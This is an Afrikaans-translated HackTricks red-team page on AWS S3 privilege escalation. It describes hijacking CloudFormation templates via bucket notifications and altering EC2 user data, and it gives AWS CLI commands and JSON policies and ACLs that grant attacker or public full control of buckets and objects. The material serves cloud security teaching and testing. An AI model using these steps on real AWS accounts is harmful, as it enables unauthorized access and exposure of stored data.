AWS - S3 Privesc

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

'n Aanvaller met daardie toestemmings oor interessante emmers kan hulpbronne kap en voorregte eskaleer.

Byvoorbeeld, 'n aanvaller met daardie toestemmings oor 'n cloudformation emmer genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal die implementering kan kap. Die toegang kan gegee word met die volgende beleid:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

En die oorname is moontlik omdat daar 'n klein tydraamwerk is vanaf die oomblik dat die sjabloon geüpload word na die emmer tot die oomblik dat die sjabloon geïmplementeer word. 'n Aanvaller kan net 'n lambda-funksie in sy rekening skep wat geaktiveer word wanneer 'n emmerkennisgewing gestuur word, en die inhoud van daardie emmer oorneem.

Die Pacu-module cfn__resouce_injection kan gebruik word om hierdie aanval te outomatiseer. Vir meer inligting, kyk na die oorspronklike navorsing: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Dit is die toestemmings om voorwerpe van en na S3 op te laai. Verskeie dienste binne AWS (en buite dit) gebruik S3-stoorplek om konfigurasie lêers te stoor. 'n Aanvaller met leestoegang daartoe kan sensitiewe inligting daarin vind. 'n Aanvaller met skryftoegang daartoe kan die data verander om 'n diens te misbruik en probeer om voorregte te eskaleer. Hier is 'n paar voorbeelde:

  • As 'n EC2-instansie die gebruikersdata in 'n S3-emmer stoor, kan 'n aanvaller dit verander om arbitrêre kode binne die EC2-instansie uit te voer.

s3:PutBucketPolicy

'n Aanvaller, wat uit dieselfde rekening moet wees, as dit nie die fout Die gespesifiseerde metode is nie toegelaat nie sal veroorsaak, sal met hierdie toestemming in staat wees om homself meer toestemmings oor die emmer(s) te gee wat hom in staat stel om emmers te lees, skryf, verander, uitvee en bloot te stel.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

'n Aanvaller kan hierdie toestemmings misbruik om hom meer toegang tot spesifieke emmers te gee. Merk op dat die aanvaller nie van dieselfde rekening hoef te wees nie. Verder die skryftoegang.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

'n Aanvaller kan hierdie regte misbruik om hom meer toegang te gee tot spesifieke voorwerpe binne emmers.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

'n Aanvaller met hierdie regte word verwag om 'n Acl te kan plaas op 'n spesifieke voorwerp weergawe

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated